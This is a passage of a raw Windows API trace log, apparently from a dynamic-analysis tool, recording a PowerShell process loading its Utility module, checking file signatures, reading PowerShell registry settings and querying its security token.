lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d58c) returned 1 [0086.685] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0086.685] GetFileType (hFile=0x85c) returned 0x1 [0086.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d588) returned 1 [0086.685] GetFileType (hFile=0x85c) returned 0x1 [0086.685] WTGetSignatureInfo () returned 0x0 [0089.760] CertDuplicateCertificateContext (pCertContext=0x73792b8) returned 0x73792b8 [0089.761] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d5f0 | out: phkResult=0x843d5f0*=0x890) returned 0x0 [0089.761] RegQueryValueExW (in: hKey=0x890, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d610, lpData=0x0, lpcbData=0x843d60c*=0x0 | out: lpType=0x843d610*=0x1, lpData=0x0, lpcbData=0x843d60c*=0x56) returned 0x0 [0089.761] RegQueryValueExW (in: hKey=0x890, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d610, lpData=0x538ef44, lpcbData=0x843d60c*=0x56 | out: lpType=0x843d610*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d60c*=0x56) returned 0x0 [0089.761] RegCloseKey (hKey=0x890) returned 0x0 [0089.762] CoTaskMemAlloc (cb=0x10) returned 0x76460c0 [0089.762] CoTaskMemAlloc (cb=0x30) returned 0x75c7a78 [0089.762] WinVerifyTrust () returned 0x0 [0089.763] CoTaskMemFree (pv=0x75c7a78) [0089.763] CoTaskMemFree (pv=0x76460c0) [0089.763] CertFreeCertificateContext (pCertContext=0x73792b8) returned 1 [0089.763] CloseHandle (hObject=0x85c) returned 1 [0089.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0089.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0089.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d648) returned 1 [0089.764] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0089.764] GetFileType (hFile=0x85c) returned 0x1 [0089.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d644) returned 1 [0089.764] GetFileType (hFile=0x85c) returned 0x1 [0089.764] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x0 [0089.764] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.765] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x1000 [0089.765] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.765] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x2000 [0089.765] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.765] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x3000 [0089.766] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.766] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x4000 [0089.766] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.766] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x5000 [0089.766] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.766] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x6000 [0089.767] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x1000, lpOverlapped=0x0) returned 1 [0089.767] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x7000 [0089.767] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x780, lpOverlapped=0x0) returned 1 [0089.767] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x7780 [0089.767] ReadFile (in: hFile=0x85c, lpBuffer=0x538f65c, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538f65c*, lpNumberOfBytesRead=0x843d6b0*=0x0, lpOverlapped=0x0) returned 1 [0089.767] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d684*=0) returned 0x7780 [0089.767] ReadFile (in: hFile=0x85c, lpBuffer=0x538ff3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d6b0, lpOverlapped=0x0 | out: lpBuffer=0x538ff3c*, lpNumberOfBytesRead=0x843d6b0*=0x0, lpOverlapped=0x0) returned 1 [0089.768] CoTaskMemAlloc (cb=0x20c) returned 0x7459318 [0089.768] GetSystemDirectoryW (in: lpBuffer=0x7459318, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0089.768] CoTaskMemFree (pv=0x7459318) [0089.768] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0089.768] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0089.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d5e4) returned 1 [0089.768] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d660 | out: lpFileInformation=0x843d660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0089.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d5e0) returned 1 [0089.768] GetSystemInfo (in: lpSystemInfo=0x843d694 | out: lpSystemInfo=0x843d694*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0089.769] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d624 | out: phkResult=0x843d624*=0x88c) returned 0x0 [0089.770] RegQueryValueExW (in: hKey=0x88c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d640, lpData=0x0, lpcbData=0x843d63c*=0x0 | out: lpType=0x843d640*=0x0, lpData=0x0, lpcbData=0x843d63c*=0x0) returned 0x2 [0089.770] RegCloseKey (hKey=0x88c) returned 0x0 [0089.770] CloseHandle (hObject=0x85c) returned 1 [0090.341] CoCreateGuid (in: pguid=0x843d758 | out: pguid=0x843d758*(Data1=0xe47e9580, Data2=0xe7e7, Data3=0x4624, Data4=([0]=0x89, [1]=0xcd, [2]=0x73, [3]=0x3e, [4]=0xe2, [5]=0x51, [6]=0x8, [7]=0xbf))) returned 0x0 [0090.341] GetCurrentProcess () returned 0xffffffff [0090.341] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843d720 | out: TokenHandle=0x843d720*=0x85c) returned 1 [0090.341] GetTokenInformation (in: TokenHandle=0x85c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x843d724 | out: TokenInformation=0x0, ReturnLength=0x843d724) returned 0 [0090.341] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x73f9808 [0090.341] GetTokenInformation (in: TokenHandle=0x85c, TokenInformationClass=0x8, TokenInformation=0x73f9808, TokenInformationLength=0x4, ReturnLength=0x843d724 | out: TokenInformation=0x73f9808, ReturnLength=0x843d724) returned 1 [0090.341] LocalFree (hMem=0x73f9808) returned 0x0 [0090.342] DuplicateTokenEx (in: hExistingToken=0x85c, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x843d72c | out: phNewToken=0x843d72c*=0x88c) returned 1 [0090.342] CheckTokenMembership (in: TokenHandle=0x88c, SidToCheck=0x5430348*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x843d73c | out: IsMember=0x843d73c) returned 1 [0090.342] CloseHandle (hObject=0x88c) returned 1 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0090.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d3fc) returned 1 [0090.344] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x843d478 | out: lpFileInformation=0x843d478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0090.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d3f8) returned 1 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0090.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d370) returned 1 [0090.344] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x843d3ec | out: lpFileInformation=0x843d3ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0090.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d36c) returned 1 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0090.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0090.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d344) returned 1 [0090.345] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x88c [0090.345] GetFileType (hFile=0x88c) returned 0x1 [0090.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d340) returned 1 [0090.345] GetFileType (hFile=0x88c) returned 0x1 [0090.345] WTGetSignatureInfo () returned 0x0 [0090.536] CertDuplicateCertificateContext (pCertContext=0x7379178) returned 0x7379178 [0090.536] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d3a8 | out: phkResult=0x843d3a8*=0x884) returned 0x0 [0090.537] RegQueryValueExW (in: hKey=0x884, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d3c8, lpData=0x0, lpcbData=0x843d3c4*=0x0 | out: lpType=0x843d3c8*=0x1, lpData=0x0, lpcbData=0x843d3c4*=0x56) returned 0x0 [0090.537] RegQueryValueExW (in: hKey=0x884, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d3c8, lpData=0x54394a4, lpcbData=0x843d3c4*=0x56 | out: lpType=0x843d3c8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d3c4*=0x56) returned 0x0 [0090.537] RegCloseKey (hKey=0x884) returned 0x0 [0090.537] CoTaskMemAlloc (cb=0x10) returned 0x7645e98 [0090.537] CoTaskMemAlloc (cb=0x30) returned 0x75c77a0 [0090.537] WinVerifyTrust () returned 0x0 [0090.538] CoTaskMemFree (pv=0x75c77a0) [0090.538] CoTaskMemFree (pv=0x7645e98) [0090.538] CertFreeCertificateContext (pCertContext=0x7379178) returned 1 [0090.538] CloseHandle (hObject=0x88c) returned 1 [0090.539] AmsiScanString () returned 0x80070015 [0090.541] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0xfbf7cec, Data2=0xad41, Data3=0x46f6, Data4=([0]=0xae, [1]=0x13, [2]=0x5d, [3]=0x70, [4]=0xdf, [5]=0xa, [6]=0x68, [7]=0xfb))) returned 0x0 [0090.542] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0xee6de1c, Data2=0x6208, Data3=0x44f3, Data4=([0]=0x95, [1]=0x4f, [2]=0x29, [3]=0xe8, [4]=0xbd, [5]=0x30, [6]=0xb5, [7]=0xfb))) returned 0x0 [0090.543] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0x718f0e12, Data2=0xeed4, Data3=0x4a9b, Data4=([0]=0xa6, [1]=0x61, [2]=0x56, [3]=0x43, [4]=0xc3, [5]=0xab, [6]=0x7a, [7]=0xde))) returned 0x0 [0090.543] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0x90c57e57, Data2=0x9e36, Data3=0x4763, Data4=([0]=0x8a, [1]=0x24, [2]=0x2c, [3]=0x2b, [4]=0x17, [5]=0xf7, [6]=0x71, [7]=0xfe))) returned 0x0 [0090.546] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0x1b13d065, Data2=0x9b80, Data3=0x4a29, Data4=([0]=0xb7, [1]=0xdc, [2]=0xb8, [3]=0x77, [4]=0xa5, [5]=0x41, [6]=0xca, [7]=0x9d))) returned 0x0 [0090.546] CoCreateGuid (in: pguid=0x843d3a4 | out: pguid=0x843d3a4*(Data1=0xdf13ceaf, Data2=0x6a6e, Data3=0x48e3, Data4=([0]=0xb5, [1]=0x6d, [2]=0x13, [3]=0xb7, [4]=0xb9, [5]=0xf1, [6]=0x5c, [7]=0x7c))) returned 0x0 [0090.694] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.695] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.695] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543a564, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.695] RegCloseKey (hKey=0x88c) returned 0x0 [0090.696] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.697] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.697] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543a878, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.697] RegCloseKey (hKey=0x88c) returned 0x0 [0090.697] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.698] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.698] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543ab74, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.698] RegCloseKey (hKey=0x88c) returned 0x0 [0090.698] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.699] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.699] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543ae7c, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.699] RegCloseKey (hKey=0x88c) returned 0x0 [0090.700] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.701] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.701] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543b190, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.701] RegCloseKey (hKey=0x88c) returned 0x0 [0090.701] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.702] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.702] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543b4a4, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.702] RegCloseKey (hKey=0x88c) returned 0x0 [0090.702] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e79c | out: phkResult=0x843e79c*=0x88c) returned 0x0 [0090.702] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x0, lpcbData=0x843e7b8*=0x0 | out: lpType=0x843e7bc*=0x1, lpData=0x0, lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.702] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e7bc, lpData=0x543b7a0, lpcbData=0x843e7b8*=0x56 | out: lpType=0x843e7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e7b8*=0x56) returned 0x0 [0090.703] RegCloseKey (hKey=0x88c) returned 0x0 [0090.703] RegOpenKeyExW (in: 